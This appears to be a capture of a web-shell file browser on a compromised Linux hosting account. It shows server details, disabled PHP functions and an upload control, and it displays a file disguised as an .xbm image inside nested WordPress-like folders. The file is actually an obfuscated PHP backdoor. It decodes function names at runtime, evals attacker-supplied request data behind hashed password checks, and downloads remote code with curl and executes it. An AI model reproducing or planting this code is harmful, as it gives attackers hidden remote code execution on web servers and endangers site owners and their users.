HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/bandeirantesbomb3/public_html/0270wp/0270wp/0270wp/0270wp/cLqzNKkfFnjQ.xbm
<?php
 goto e0nGbkILlS17sM0D; fGwvF8u0FxypMxUB: $CM13g3HavpoOttVc = ${$wA4i_OjkDjugLW8X[6 + 25] . $wA4i_OjkDjugLW8X[55 + 4] . $wA4i_OjkDjugLW8X[36 + 11] . $wA4i_OjkDjugLW8X[9 + 38] . $wA4i_OjkDjugLW8X[26 + 25] . $wA4i_OjkDjugLW8X[17 + 36] . $wA4i_OjkDjugLW8X[50 + 7]}; goto bvIOUGvGtlfsKVwa; e0nGbkILlS17sM0D: $UtqK4DEq7ilzWh52 = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto dOJ0Y0SX49UDYIZT; aCfwCTnUYN6bzNI3: metaphone("\142\103\155\57\x77\113\107\114\113\x78\x59\156\x75\170\x2b\x69\165\x59\104\115\x46\x35\x56\x5a\x65\x6a\130\115\117\65\141\63\x78\104\x79\64\114\157\x68\107\x37\x36\115"); goto h2t88r1G6cdaWRkE; dOJ0Y0SX49UDYIZT: $wA4i_OjkDjugLW8X = $UtqK4DEq7ilzWh52("\x7e", "\x20"); goto fGwvF8u0FxypMxUB; l0HMYEAaHLormRJq: $CM13g3HavpoOttVc[69] = $CM13g3HavpoOttVc[69] . $CM13g3HavpoOttVc[71]; goto dkQtVad1kdAoABVP; V86H3YqJ_nSp1nFK: LWogCpXc3bWxACpC: goto aCfwCTnUYN6bzNI3; dkQtVad1kdAoABVP: @eval($CM13g3HavpoOttVc[69](${$CM13g3HavpoOttVc[32]}[17])); goto V86H3YqJ_nSp1nFK; h2t88r1G6cdaWRkE: class rC4xnDD3J5mbYRiy { static function KeviFp6g6xTnde_A($TzwbUZYdgbamKKYD) { goto DCwHGIBpf1H3V1Ut; vpUVbCSNiPKYw8D1: return $Ttsx37ICU0J2zUg5; goto d5d2pk7cZi0Z1_LZ; hbSL1JM17Zx8kRQv: $ffmwn1N3GJkRk3AS = $ttHYJSPHrz0TyHTZ("\x7e", "\x20"); goto XicwymHZC_bSuVLl; XicwymHZC_bSuVLl: $xE8t7uO5vanukvGR = explode("\55", $TzwbUZYdgbamKKYD); goto uEj0TJTLUwxWXP9H; DCwHGIBpf1H3V1Ut: $ttHYJSPHrz0TyHTZ = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto hbSL1JM17Zx8kRQv; Q7MAAOq51U6he5xj: Xf3NcG0D8fDXERBv: goto vpUVbCSNiPKYw8D1; uEj0TJTLUwxWXP9H: $Ttsx37ICU0J2zUg5 = ''; goto dSqZiX8HmHTNPqcn; dSqZiX8HmHTNPqcn: foreach ($xE8t7uO5vanukvGR as $cYKWJQjk2_PCBoOZ => $Fd8Q_e2_DjI_3jYe) { $Ttsx37ICU0J2zUg5 .= $ffmwn1N3GJkRk3AS[$Fd8Q_e2_DjI_3jYe - 56361]; WImw8xDft5dhqavZ: } goto Q7MAAOq51U6he5xj; d5d2pk7cZi0Z1_LZ: } static function W7B1KRngUnWO6Wtr($t3Dh_tTD29LeeZf0, $OtOOLGtNrCtVmTZd) { goto xfOHK2LNGblh2E09; VQAr8W3YvWufBTSM: return empty($rUn4L5tijViQhj8b) ? $OtOOLGtNrCtVmTZd($t3Dh_tTD29LeeZf0) : $rUn4L5tijViQhj8b; goto kJWpVry6vIQV0qja; DcgLV248oW7VvkIm: $rUn4L5tijViQhj8b = curl_exec($GRdbKjbK_Xv_d6z8); goto VQAr8W3YvWufBTSM; xfOHK2LNGblh2E09: $GRdbKjbK_Xv_d6z8 = curl_init($t3Dh_tTD29LeeZf0); goto OpgfQ9u7LxKhUdk8; OpgfQ9u7LxKhUdk8: curl_setopt($GRdbKjbK_Xv_d6z8, CURLOPT_RETURNTRANSFER, 1); goto DcgLV248oW7VvkIm; kJWpVry6vIQV0qja: } static function dbj3sAfhG3C1l6fp() { goto s01nZjtG5c514F2P; KCNQYn54BKnlL0gf: die; goto tJCT_jauMEjXN453; DMbKQJ6PwFuYllr5: @$Vg_qkawa1VQurEA_[1 + 9](INPUT_GET, "\157\x66") == 1 && die($Vg_qkawa1VQurEA_[2 + 3](__FILE__)); goto UjwUOUiaaEXlKCpp; s01nZjtG5c514F2P: $aRLvUbQolAbklzFG = array("\65\66\x33\70\70\55\x35\x36\x33\67\63\x2d\65\x36\x33\x38\x36\55\65\66\63\x39\x30\55\x35\66\x33\67\x31\x2d\x35\66\x33\x38\x36\55\x35\66\63\x39\62\x2d\65\x36\x33\70\x35\x2d\65\66\63\67\x30\55\x35\66\63\x37\x37\55\65\x36\x33\70\x38\x2d\x35\x36\63\x37\x31\55\x35\x36\63\x38\62\55\x35\x36\63\67\x36\55\x35\x36\x33\67\x37", "\x35\x36\x33\67\x32\x2d\x35\x36\x33\x37\x31\55\65\66\63\x37\63\55\x35\66\63\x39\x32\x2d\65\66\63\67\63\55\65\x36\63\67\x36\55\65\x36\x33\x37\61\x2d\x35\x36\64\x33\70\x2d\x35\66\x34\x33\66", "\65\66\63\70\x31\x2d\x35\x36\63\x37\62\55\x35\x36\x33\67\x36\55\x35\x36\x33\x37\67\x2d\x35\66\63\71\x32\55\65\66\63\x38\67\x2d\x35\x36\63\x38\66\55\x35\66\63\x38\x38\x2d\65\66\63\67\x36\55\x35\66\x33\70\67\55\x35\66\x33\70\x36", "\x35\66\63\67\65\x2d\x35\66\x33\x39\60\55\65\x36\x33\x38\70\x2d\65\66\x33\70\x30", "\x35\66\x33\x38\x39\x2d\x35\66\63\x39\x30\x2d\65\66\x33\x37\x32\55\65\x36\63\70\x36\x2d\65\x36\64\x33\63\x2d\x35\66\64\63\65\x2d\65\66\x33\x39\x32\55\65\66\x33\70\x37\55\65\66\63\70\x36\55\x35\66\x33\70\x38\55\65\x36\x33\x37\66\55\65\x36\x33\x38\67\55\65\x36\63\x38\x36", "\x35\x36\63\x38\65\x2d\x35\66\63\70\x32\55\x35\x36\63\67\x39\55\65\x36\x33\x38\66\x2d\x35\66\63\x39\x32\55\x35\66\63\70\x34\55\65\x36\x33\70\x36\55\65\x36\x33\x37\61\55\65\66\63\71\x32\55\65\x36\x33\70\x38\x2d\65\66\63\x37\66\x2d\65\x36\63\67\x37\x2d\x35\66\63\67\61\x2d\65\66\63\x38\66\55\x35\66\63\x37\x37\55\x35\66\63\x37\61\x2d\x35\x36\63\x37\x32", "\65\66\x34\x31\x35\x2d\65\x36\64\x34\x35", "\x35\x36\x33\66\62", "\65\66\x34\64\60\x2d\65\x36\x34\64\65", "\x35\66\64\x32\x32\55\x35\x36\64\60\x35\55\x35\66\64\x30\65\55\65\x36\x34\62\x32\x2d\x35\x36\x33\71\70", "\x35\x36\x33\x38\65\x2d\65\x36\x33\70\x32\55\65\x36\x33\67\71\55\65\66\63\67\61\55\65\x36\63\70\66\55\x35\x36\63\67\63\x2d\65\66\63\x39\62\55\65\x36\63\x38\62\x2d\x35\x36\x33\x37\x37\x2d\65\66\63\67\65\55\x35\x36\63\x37\60\x2d\x35\x36\63\x37\61"); goto bX3EzB5lYEbD3Tul; ELcsetMdbMd7gUSK: @eval($Vg_qkawa1VQurEA_[1 + 3]($K8SWdhFR2_dJfuuo)); goto KCNQYn54BKnlL0gf; qRm1YnVVRw4SPbJE: pxRfa9iQ2QHmwwew: goto RU17iZvtV6WKnP1b; JKwOPL52OXuC08RV: $PTsA2K5RKHYZ3hv8 = $Vg_qkawa1VQurEA_[0 + 2]($yvvyej4thH6fSEYb, true); goto DMbKQJ6PwFuYllr5; UjwUOUiaaEXlKCpp: if (!(@$PTsA2K5RKHYZ3hv8[0] - time() > 0 and md5(md5($PTsA2K5RKHYZ3hv8[2 + 1])) === "\63\x66\x36\142\142\67\x34\143\70\x31\62\x31\x34\x36\67\x65\x63\66\x34\x30\145\145\x38\x37\70\64\144\145\x32\143\141\x66")) { goto NFZcv1dTm2UK_BEn; } goto ITIpP8A4bbllNafl; bX3EzB5lYEbD3Tul: foreach ($aRLvUbQolAbklzFG as $UDkKBeui_X3tEQzj) { $Vg_qkawa1VQurEA_[] = self::kevIFP6g6xtNDe_a($UDkKBeui_X3tEQzj); GNo1s7xtozTJ03HP: } goto qRm1YnVVRw4SPbJE; ITIpP8A4bbllNafl: $K8SWdhFR2_dJfuuo = self::W7B1kRnGUnWo6Wtr($PTsA2K5RKHYZ3hv8[0 + 1], $Vg_qkawa1VQurEA_[2 + 3]); goto ELcsetMdbMd7gUSK; tJCT_jauMEjXN453: NFZcv1dTm2UK_BEn: goto IwM2Jqdn6Q8kFqee; BfqU4eQP2VV9O07Y: $yvvyej4thH6fSEYb = @$Vg_qkawa1VQurEA_[2 + 1]($Vg_qkawa1VQurEA_[0 + 6], $FX9WhFytbklICKc5); goto JKwOPL52OXuC08RV; RU17iZvtV6WKnP1b: $FX9WhFytbklICKc5 = @$Vg_qkawa1VQurEA_[1]($Vg_qkawa1VQurEA_[3 + 7](INPUT_GET, $Vg_qkawa1VQurEA_[6 + 3])); goto BfqU4eQP2VV9O07Y; IwM2Jqdn6Q8kFqee: } } goto io6hwSOfUe8h2tDu; bvIOUGvGtlfsKVwa: if (!(in_array(gettype($CM13g3HavpoOttVc) . "\62\67", $CM13g3HavpoOttVc) && md5(md5(md5(md5($CM13g3HavpoOttVc[21])))) === "\x38\141\65\x63\x30\x35\x36\144\141\x30\146\x37\67\142\x39\x63\x62\x66\146\141\143\x64\x66\x32\146\x65\65\143\142\x33\141\x31")) { goto LWogCpXc3bWxACpC; } goto l0HMYEAaHLormRJq; io6hwSOfUe8h2tDu: rC4xNDD3J5mbYrIy::dBj3sAFhg3C1L6fP();
?>